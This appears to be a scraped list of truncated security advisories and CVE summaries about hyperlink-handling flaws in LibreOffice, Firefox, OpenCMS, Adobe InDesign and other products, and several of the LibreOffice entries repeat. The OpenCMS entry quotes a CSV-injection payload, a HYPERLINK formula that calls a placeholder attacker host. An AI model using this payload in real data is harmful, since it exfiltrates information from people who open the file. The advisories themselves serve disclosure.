CVE-2019-11698

If a crafted hyperlink is dragged and dropped to the bookmark bar or sidebar and the resulting bookmark is subsequently dragged and dropped into the web content area, an arbitrary query of a user's browser history can be run and transmitted to the content page via drop event data. This allows for...

Security vulnerabilities fixed in Thunderbird 60.7 — Mozilla

If hyperthreading is not disabled, a timing attack vulnerability exists, similar to previous Spectre attacks. Apple has shipped macOS 10.14.5 with an option to disable hyperthreading in applications running untrusted code in a thread through a new sysctl. Firefox now makes use of it on the main...

LibreOffice < 6.1.6, 6.2.x < 6.2.3 Hyperlink Processing Vulnerability (Windows)

The version of LibreOffice installed on the remote Windows host is prior to 6.1.6 or 6.2.x prior to 6.2.3. It is, therefore, affected by a hyperlink processing vulnerability. At attacker may exploit this issue by creating hyperlinks pointing to an executable on the target user's file system. This...

OpenCMS 10.5.4 CSV Injection

Description: OpenCMS v10.5.4 and before is vulnerable to CSV injection in New User module for parameter First Name and Last Name Impacted URL is http://yourwebserverip/opencms/system/workplace/admin/accounts/usernew.jsp Payload used is '=HYPERLINK"http://attackerip:port/GiveMeSomeData","IAmSafe"'...

Design/Logic Flaw

A vulnerability in LibreOffice hyperlink processing allows an attacker to construct documents containing hyperlinks pointing to the location of an executable on the target users file system. If the hyperlink is activated by the victim the executable target is unconditionally launched. Under Windo...

CVE-2019-9847

A vulnerability in LibreOffice hyperlink processing allows an attacker to construct documents containing hyperlinks pointing to the location of an executable on the target users file system. If the hyperlink is activated by the victim the executable target is unconditionally launched. Under Windo...

CVE-2019-9847

A vulnerability in LibreOffice hyperlink processing allows an attacker to construct documents containing hyperlinks pointing to the location of an executable on the target users file system. If the hyperlink is activated by the victim the executable target is unconditionally launched. Under Windo...

CVE-2019-9847

A vulnerability in LibreOffice hyperlink processing allows an attacker to construct documents containing hyperlinks pointing to the location of an executable on the target users file system. If the hyperlink is activated by the victim the executable target is unconditionally launched. Under Windo...

CVE-2019-9847

A vulnerability in LibreOffice hyperlink processing allows an attacker to construct documents containing hyperlinks pointing to the location of an executable on the target users file system. If the hyperlink is activated by the victim the executable target is unconditionally launched. Under Windo...

CVE-2019-9847: Improper Input Validation

A vulnerability in LibreOffice hyperlink processing allows an attacker to construct documents containing hyperlinks pointing to the location of an executable on the target users file system. If the hyperlink is activated by the victim the executable target is unconditionally launched. Under Windo...

PT-2019-2074

Name of the Vulnerable Software and Affected Versions LibreOffice versions prior to 6.1.6 LibreOffice versions 6.2 series prior to 6.2.3 Description The issue exists due to insufficient input validation in LibreOffice's hyperlink processing, allowing an attacker to construct documents with...

KLA11476 PE vulnerability in LibreOffice

Unspecified vulnerability was found in LibreOffice. Malicious users can exploit this vulnerability via hyperlink processing to gain privileges. Original advisories CVE-2019-9847 Executable hyperlink targets executed unconditionally on activation Exploitation Related products LibreOffice CVE list...

PT-2019-2075

Name of the Vulnerable Software and Affected Versions Demisto version 4.5 build 40249 Description The issue exists due to inadequate protection of the web page structure, allowing for cross-site scripting XSS attacks. This can enable a remote attacker to execute arbitrary JavaScript or HTML using...

Open-Xchange: Another window.opener issue

Vulnerability Details: Appointment titles are rendered as hyperlink but were missing a protection against "tab nabbing". Risk: When following a hyperlink to a malicious website, the original tab location OX App Suite could be replaced with a URL chosen by the attacker. This can be exploited to...

Adobe InDesign Insecure Hyperlink Handling Vulnerability

Adobe InDesign is a desktop publishing DTP application from Adobe that is primarily used for typesetting and editing a variety of printed materials. An insecure hyperlink handling vulnerability exists in Adobe InDesign 14.0.1 and earlier versions. An attacker could exploit this vulnerability to...

openSUSE: Security Advisory for yast2-rmt (openSUSE-SU-2019:1089-1)

The remote host is missing an update for the Copyright C 2019 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

Security update for yast2-rmt (moderate)

openSUSE Security Update: Security update for yast2-rmt Announcement ID: openSUSE-SU-2019:1089-1 Rating: moderate References: 1119835 1120672 1123562 Cross-References: CVE-2018-20105 Affected Products: openSUSE Leap 15.0 An update that solves one vulnerability and has two fixes is now available...

openSUSE Security Update : yast2-rmt (openSUSE-2019-1089)

This update for yast2-rmt to 1.2.2 fixes the following issues : Security issue fixed : - CVE-2018-20105: Pass SSL password to Cheetah CLI interface securely bsc1119835 Non-security issues fixed : - Launch as root from gnome-shell menu bsc1123562 - Remove broken hyperlink from help bsc1120672 This...

SUSE-SU-2019:0629-1 Security update for yast2-rmt

This update for yast2-rmt to 1.2.2 fixes the following issues: Security issue fixed: - CVE-2018-20105: Pass SSL password to Cheetah CLI interface securely bsc1119835 Non-security issues fixed: - Launch as root from gnome-shell menu bsc1123562 - Remove broken hyperlink from help bsc1120672...

CVE-2018-20240

The administrative linker functionality in Atlassian Fisheye and Crucible before version 4.7.0 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting XSS vulnerability in the href parameter...